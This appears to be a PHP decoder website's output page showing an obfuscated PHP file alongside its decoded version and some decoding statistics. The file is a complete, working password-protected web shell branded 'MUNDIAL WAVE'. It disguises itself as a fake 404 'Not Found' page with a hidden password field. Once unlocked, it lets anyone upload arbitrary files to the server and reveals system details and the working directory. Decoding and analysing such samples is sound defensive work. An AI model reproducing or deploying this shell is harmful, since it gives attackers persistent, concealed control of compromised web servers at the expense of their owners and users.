Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ${"\x47L\x4f\x42A\x4c\x53"}["i\x6a\x6ct\x6eoo\x68"]="\x71\x70e\x6f\x70\x65sx\x5f\x33..

Decoded Output download

<?php ${"GLOBALS"}["ijltnooh"]="qpeopesx_35c246d5";${"GLOBALS"}["kjvbltpyrc"]="xtermfpd_47a7b158";${"GLOBALS"}["qphkfert"]="wlgihoug_c69f00e7";${"GLOBALS"}["uiecpowgk"]="dtmoudkr_e02ab64";${"GLOBALS"}["ywvidws"]="wlgihoug_c69f00e7";$svkmumeg="qpeopesx_35c246d5";${"GLOBALS"}["npafwjlogl"]="jwooxxdn_46f6a093";${"GLOBALS"}["fbntunzwi"]="qpeopesx_35c246d5";${${"GLOBALS"}["fbntunzwi"]}=base64_decode("UCUh");${${"GLOBALS"}["npafwjlogl"]}=trim(getenv(base64_decode("U0VSVkVSX1NPRlRXQVJF")));${${"GLOBALS"}["uiecpowgk"]}=$_SERVER[base64_decode("SFRUUF9IT1NU")];session_start();error_reporting(0);set_time_limit(0);ini_set(base64_decode("bWVtb3J5X2xpbWl0"),-1);${${"GLOBALS"}["ywvidws"]}[base64_decode("dmVyc2lvbg==")]=base64_decode("Mi43");${${"GLOBALS"}["qphkfert"]}[base64_decode("d2Vic2l0ZQ==")]="";${${"GLOBALS"}["kjvbltpyrc"]}=md5(__FILE__);if(!empty(${$svkmumeg})and$_SESSION[${${"GLOBALS"}["kjvbltpyrc"]}]!=${${"GLOBALS"}["ijltnooh"]}){if(isset($_REQUEST[base64_decode("cGFzcw==")])and$_REQUEST[base64_decode("cGFzcw==")]==${${"GLOBALS"}["ijltnooh"]}){$nvdnmowouf="qpeopesx_35c246d5";$pedsufslwuoi="xtermfpd_47a7b158";$_SESSION[${$pedsufslwuoi}]=${$nvdnmowouf};}else{print base64_decode("PHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCmlucHV0ew0KbWFyZ2luOjA7DQpiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7DQpib3JkZXI6MXB4IHNvbGlkICNmZmY7DQp9DQo8L3N0eWxlPg0KPC9oZWFkPg0KDQo8Ym9keT4NCjxoMT5Ob3QgRm91bmQ8L2gxPg0KPHA+VGhlIHJlcXVlc3RlZCBVUkwgd2FzIG5vdCBmb3VuZCBvbiB0aGlzIHNlcnZlci48YnI+PGJyPkFkZGl0aW9uYWxseSwgYSA0MDQgTm90IEZvdW5kIGVycm9yIHdhcyBlbmNvdW50ZXJlZCB3aGlsZSB0cnlpbmcgdG8gdXNlIGFuIEVycm9yRG9jdW1lbnQgdG8gaGFuZGxlIHlvdXIgZnVja2luZyByZXF1ZXN0LjwvcD4NCjxocj4gDQo8YWRkcmVzcz4=").${${"GLOBALS"}["npafwjlogl"]}.base64_decode("IFNlcnZlciBhdCA=").${${"GLOBALS"}["uiecpowgk"]}.base64_decode("IFBvcnQgODAgPC9hZGRyZXNzPg0KPGJyIC8+DQo8YnIgLz4NCjxiciAvPg0KPGJyIC8+DQo8YnIgLz4NCjxiciAvPg0KPGJyIC8+DQo8YnIgLz4NCjxiciAvPg0KPGJyIC8+DQo8YnIgLz4NCjxiciAvPg0KPGJyIC8+DQo8YnIgLz4NCjxiciAvPg0KPGJyIC8+DQo8YnIgLz4NCjxiciAvPg0KPGJyIC8+DQo8YnIgLz4NCjxiciAvPg0KPGJyIC8+DQo8YnIgLz4NCjxjZW50ZXI+DQo8Zm9ybSBtZXRob2Q9InBvc3QiPg0KPGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwYXNzIj4NCjwvZm9ybT4NCjwvY2VudGVyPg0KPC9ib2R5Pg0KPC9odG1sPg0K");exit;}}echo "
<title>";echo $_SERVER[base64_decode("SFRUUF9IT1NU")];echo " - MUNDI4LWAVE ";echo VERSION;echo "</title>

       <meta charset="utf-8">
	   
                                               

<center>          
     <div>
 <br>
<pre style=\"color: black;"><big><big><big><font size=\"4" color="black\" face=\"monospace">Security Breached By #M U N D I A L W A V E</big><br><br><br></big></big></big></pre>
<center><form action=\"" method="post\" enctype="multipart/form-data\" name="uploader\" id=\"uploader">
<center><input type="file" name="file\" size="50\"><input name="_upl" type="submit\" id="_upl\" value="Upload\"></form></center><font size=\"2" color="black" face="Courier New\">
";if($_POST[base64_decode("X3VwbA==")]==base64_decode("VXBsb2Fk")){if(@copy($_FILES[base64_decode("ZmlsZQ==")][base64_decode("dG1wX25hbWU=")],$_FILES[base64_decode("ZmlsZQ==")][base64_decode("bmFtZQ==")])){echo base64_decode("RG9uZSAhIQ==");}else{echo base64_decode("RmFpbGVkIDoo");}}echo base64_decode("PGNlbnRlcj48YnI+PGI+").php_uname().base64_decode("PC9iPjxicj48L2NlbnRlcj4=");echo base64_decode("PGNlbnRlcj48cD48YnI+PGI+").getcwd().base64_decode("PC9iPjxicj48L3A+PC9jZW50ZXI+"); 
?>

Did this file decode correctly?

Original Code

<?php ${"\x47L\x4f\x42A\x4c\x53"}["i\x6a\x6ct\x6eoo\x68"]="\x71\x70e\x6f\x70\x65sx\x5f\x33\x35\x6324\x36d5";${"\x47\x4c\x4fBALS"}["\x6b\x6a\x76b\x6ct\x70\x79\x72\x63"]="\x78t\x65rmfp\x64_\x347\x617\x621\x358";${"\x47\x4cO\x42\x41L\x53"}["q\x70\x68\x6b\x66\x65rt"]="wlg\x69\x68\x6f\x75g\x5f\x63\x36\x39f0\x30\x657";${"\x47\x4cOBA\x4c\x53"}["ui\x65\x63\x70ow\x67\x6b"]="\x64t\x6d\x6fu\x64k\x72_\x65\x30\x32\x61\x62\x364";${"\x47L\x4fB\x41L\x53"}["\x79\x77vidw\x73"]="\x77l\x67\x69h\x6f\x75\x67\x5fc6\x39f\x30\x30\x65\x37";$svkmumeg="\x71p\x65o\x70\x65\x73\x78\x5f35\x63\x324\x36\x645";${"\x47\x4c\x4f\x42\x41L\x53"}["n\x70\x61\x66w\x6a\x6co\x67l"]="\x6a\x77\x6f\x6f\x78x\x64n_\x34\x36f6\x61\x30\x39\x33";${"\x47\x4c\x4f\x42\x41L\x53"}["\x66bn\x74\x75\x6ezw\x69"]="\x71pe\x6f\x70\x65sx\x5f\x335\x63\x32\x34\x36d\x35";${${"\x47LO\x42AL\x53"}["\x66b\x6e\x74\x75\x6e\x7a\x77i"]}=base64_decode("UCU\x68");${${"\x47\x4c\x4f\x42A\x4cS"}["\x6e\x70a\x66\x77\x6a\x6c\x6f\x67l"]}=trim(getenv(base64_decode("U\x30\x56\x53\x56k\x56S\x581NP\x52\x6c\x52\x58Q\x56JF")));${${"\x47\x4cO\x42\x41L\x53"}["\x75\x69\x65\x63po\x77\x67\x6b"]}=$_SERVER[base64_decode("\x53F\x52UUF\x39\x49\x541N\x55")];session_start();error_reporting(0);set_time_limit(0);ini_set(base64_decode("b\x57Vt\x623\x4a\x35X\x32\x78\x70bW\x6c0"),-1);${${"G\x4c\x4f\x42\x41L\x53"}["y\x77\x76i\x64\x77\x73"]}[base64_decode("dm\x56\x79c2lv\x62g\x3d=")]=base64_decode("Mi43");${${"\x47\x4c\x4f\x42\x41LS"}["\x71\x70h\x6b\x66\x65r\x74"]}[base64_decode("d\x32Vi\x632\x6c\x30\x5a\x51\x3d=")]="";${${"G\x4c\x4fBA\x4c\x53"}["\x6bjv\x62\x6c\x74\x70\x79\x72c"]}=md5(__FILE__);if(!empty(${$svkmumeg})and$_SESSION[${${"G\x4cO\x42ALS"}["\x6bjvbl\x74\x70y\x72c"]}]!=${${"GL\x4fB\x41\x4cS"}["\x69\x6altnoo\x68"]}){if(isset($_REQUEST[base64_decode("\x63\x47\x46\x7a\x63w==")])and$_REQUEST[base64_decode("\x63\x47\x46\x7acw==")]==${${"GLO\x42\x41\x4c\x53"}["\x69\x6a\x6c\x74\x6e\x6fo\x68"]}){$nvdnmowouf="q\x70\x65\x6fp\x65sx\x5f3\x35\x63\x32\x34\x36d5";$pedsufslwuoi="\x78t\x65\x72m\x66\x70\x64\x5f4\x37\x61\x37\x62\x3158";$_SESSION[${$pedsufslwuoi}]=${$nvdnmowouf};}else{print base64_decode("\x50H\x4e\x30\x65Wx\x6cI\x48\x52\x35cGU9I\x6eR\x6ceHQ\x76\x593\x4ezI\x6a\x34NC\x6dl\x75c\x48\x56\x30ew\x30KbW\x46\x79Z\x32lu\x4f\x6aA\x37DQp\x69\x59W\x4e\x72Z3Jvd\x57\x35kLW\x4evb\x479\x79\x4fiNm\x5a\x6dY7\x44\x51p\x69b\x33JkZXI\x36M\x58\x424IH\x4e\x76b\x47\x6ckICNmZ\x6d\x59\x37\x44\x51p9DQo\x38\x4c\x33\x4e0\x65W\x78\x6c\x50\x67\x30K\x50C9oZ\x57\x46k\x50\x67\x30KD\x51\x6f\x38\x59m\x39ke\x54\x34N\x43\x6axoMT5Ob\x33\x51\x67Rm9\x31\x62mQ8L\x32g\x78\x50g0KPHA+VG\x68lI\x48\x4al\x63\x58Vlc3RlZCB\x56\x55kwg\x64\x32FzIG\x35\x76d\x43\x42\x6d\x623V\x75\x5aCBv\x62iB0a\x47\x6c\x7aIHN\x6ccnZ\x6c\x63i\x34\x38YnI+\x50\x47J\x79Pk\x46\x6bZGl\x30aW9\x75YWx\x73e\x53wg\x59S\x41\x30MDQg\x54m9\x30IE\x5av\x64\x57\x35k\x49\x47\x56ycm\x39yIHdh\x63\x79B\x6c\x62mN\x76dW\x35\x30\x5a\x58\x4a\x6cZCB\x33a\x47\x6c\x73ZSB\x30cn\x6c\x70\x62\x6d\x63g\x64G\x38g\x64\x58N\x6cIGFuIE\x56\x79c\x6d\x39\x79\x52\x47\x39j\x64W1\x6c\x62n\x51g\x64G8g\x61\x47F\x75Z\x47\x78l\x49Hl\x76dXIgZnVja2lu\x5ay\x42\x79ZXF\x31\x5a\x58N0\x4c\x6a\x77\x76cD\x34NC\x6a\x78oc\x6a4\x67D\x51\x6f\x38\x59\x57\x52kcmV\x7ac\x7a\x34=").${${"\x47LO\x42A\x4cS"}["\x6e\x70\x61\x66w\x6a\x6c\x6fgl"]}.base64_decode("IFNlcn\x5a\x6c\x63i\x42\x68d\x43A\x3d").${${"\x47L\x4fBA\x4cS"}["\x75\x69e\x63\x70\x6f\x77\x67\x6b"]}.base64_decode("IF\x42v\x63n\x51\x67\x4f\x44A\x67\x50\x439hZG\x52\x79\x5aX\x4ezP\x670K\x50G\x4ay\x49\x438+\x44\x51\x6f\x38\x59nIgL\x7a\x34\x4eCj\x78\x69c\x69\x41\x76P\x67\x30K\x50G\x4a\x79\x49\x43\x38+\x44Q\x6f\x38\x59\x6eI\x67Lz4N\x43jx\x69\x63i\x41\x76\x50g0KPG\x4a\x79\x49C\x38+DQ\x6f\x38\x59n\x49\x67Lz4\x4e\x43jxic\x69Av\x50\x670\x4b\x50GJ\x79I\x438+D\x51o8\x59nI\x67L\x7a\x34\x4eCjxiciA\x76\x50g\x30\x4b\x50G\x4a\x79\x49C8+\x44Q\x6f8\x59\x6e\x49g\x4c\x7a4NC\x6a\x78i\x63\x69Av\x50g0K\x50\x47J\x79\x49\x438+\x44\x51o8Y\x6eIg\x4c\x7a4\x4eCjxic\x69\x41\x76\x50\x670K\x50GJ\x79\x49\x43\x38+DQo8\x59\x6e\x49\x67Lz\x34\x4eC\x6axi\x63\x69\x41\x76P\x67\x30K\x50G\x4ayI\x438+\x44\x51\x6f\x38Y\x6eI\x67L\x7a4\x4e\x43jxjZ\x575\x30Z\x58I+\x44\x51o8Z\x6d\x39y\x62SBt\x5aXR\x6fb\x32Q\x39\x49\x6e\x42\x76\x633Q\x69\x50\x67\x30\x4bPGluc\x48V\x30I\x48R\x35c\x47\x55\x39In\x42\x68\x633N3\x62\x33\x4akI\x69\x42\x75Y\x571\x6cP\x53JwYX\x4e\x7a\x49\x6a\x34\x4e\x43\x6a\x77\x76Z\x6d9y\x62\x54\x34NCj\x77\x76Y2V\x75dGV\x79\x50g\x30\x4bPC\x39\x69b\x32\x52\x35\x50g0KPC9\x6fdG\x31\x73P\x67\x30K");exit;}}echo "\n\x3c\x74it\x6c\x65>";echo $_SERVER[base64_decode("\x53\x46\x52UU\x469IT1NU")];echo "\x20-\x20\x4dU\x4e\x44\x49\x34\x4c\x57AVE\x20";echo VERSION;echo "\x3c/\x74\x69t\x6c\x65>\n\n\x20\x20\x20\x20\x20\x20\x20\x3c\x6d\x65t\x61 \x63\x68\x61rs\x65\x74\x3d\x22utf-8\x22>\n\t\x20  \n\x20\x20\x20  \x20 \x20\x20 \x20\x20 \x20 \x20  \x20   \x20\x20\x20\x20 \x20  \x20\x20\x20\x20\x20 \x20 \x20 \x20     \x20\n\n<c\x65\x6e\x74\x65r>\x20\x20   \x20\x20\x20\x20 \n\x20 \x20\x20\x20\x3c\x64\x69v>\n\x20<\x62r\x3e\n\x3cpre \x73ty\x6c\x65\x3d\"\x63o\x6c\x6fr:\x20\x62\x6c\x61ck;\x22>\x3cbig\x3e\x3cbig><big>\x3cfon\x74\x20s\x69\x7ae\x3d\"4\x22\x20\x63olor=\x22\x62\x6c\x61\x63k\" \x66\x61c\x65=\"m\x6fn\x6fs\x70\x61c\x65\x22>\x53e\x63urity\x20B\x72\x65\x61ched By\x20#M\x20U\x20N\x20\x44\x20\x49 \x41\x20L W\x20\x41\x20V \x45</\x62ig>\x3c\x62\x72\x3e\x3c\x62\x72\x3e<\x62r\x3e\x3c/bi\x67></\x62\x69g></big>\x3c/pr\x65\x3e\n<ce\x6eter>\x3cfor\x6d\x20\x61\x63ti\x6fn=\"\x22\x20\x6de\x74\x68od\x3d\x22\x70ost\"\x20\x65nc\x74\x79pe\x3d\x22\x6du\x6c\x74i\x70\x61r\x74/fo\x72\x6d-data\"\x20\x6e\x61\x6de\x3d\x22\x75\x70l\x6fader\" \x69d\x3d\"u\x70l\x6fa\x64er\x22\x3e\n<c\x65\x6eter\x3e<\x69n\x70\x75t\x20typ\x65=\x22\x66\x69\x6ce\x22 na\x6d\x65\x3d\x22\x66ile\"\x20\x73iz\x65\x3d\x2250\">\x3c\x69\x6e\x70u\x74\x20\x6eam\x65=\x22_upl\x22 t\x79p\x65\x3d\x22\x73\x75bmi\x74\" id\x3d\x22_u\x70\x6c\" v\x61l\x75e=\x22Up\x6co\x61\x64\"></\x66\x6f\x72\x6d\x3e</c\x65nt\x65r>\x3c\x66\x6f\x6e\x74\x20\x73i\x7a\x65=\"2\x22\x20\x63o\x6cor\x3d\x22b\x6ca\x63k\x22\x20\x66\x61ce\x3d\x22C\x6f\x75ri\x65r New\">\n";if($_POST[base64_decode("\x583Vw\x62A=\x3d")]==base64_decode("\x56X\x42sb\x32F\x6b")){if(@copy($_FILES[base64_decode("\x5a\x6d\x6c\x73ZQ=\x3d")][base64_decode("d\x47\x31\x77X\x32\x35\x68b\x57U=")],$_FILES[base64_decode("\x5a\x6dl\x73Z\x51\x3d=")][base64_decode("\x62mF\x74Z\x51\x3d=")])){echo base64_decode("R\x47\x39uZSAhIQ\x3d=");}else{echo base64_decode("Rm\x46\x70b\x47V\x6b\x49Doo");}}echo base64_decode("\x50G\x4el\x62nR\x6cc\x6a\x348Yn\x49+\x50\x47I+").php_uname().base64_decode("PC\x39\x69\x50j\x78ic\x6a4\x38L\x32\x4e\x6c\x62\x6e\x52\x6cc\x6a\x34\x3d");echo base64_decode("\x50GN\x6cbnRlcj\x34\x38\x63\x444\x38\x59n\x49+\x50\x47\x49+").getcwd().base64_decode("P\x43\x39\x69\x50\x6axic\x6a\x348L\x33\x41+P\x439j\x5aW\x350\x5aXI+");
?>

Function Calls

getenv 1
base64_decode 2

Variables

GLOBALS [{'key': 'ijltnooh', 'value': 'qpeopesx_35c246d5'}, {'key': 'kjvbltpyrc', 'value': 'xtermfpd_47a7b158'}, {'key': 'qphkfert', 'value': 'wlgihoug_c69f00e7'}, {'key': 'uiecpowgk', 'value': 'dtmoudkr_e02ab64'}, {'key': 'ywvidws', 'value': 'wlgihoug_c69f00e7'}, {'key': 'npafwjlogl', 'value': 'jwooxxdn_46f6a093'}, {'key': 'fbntunzwi', 'value': 'qpeopesx_35c246d5'}]
$svkmumeg qpeopesx_35c246d5
qpeopesx_35c246d5 P%!

Stats

MD5 0ff16ac35c8e77e2a2ebff970fa1d4e6
Eval Count 0
Decode Time 112 ms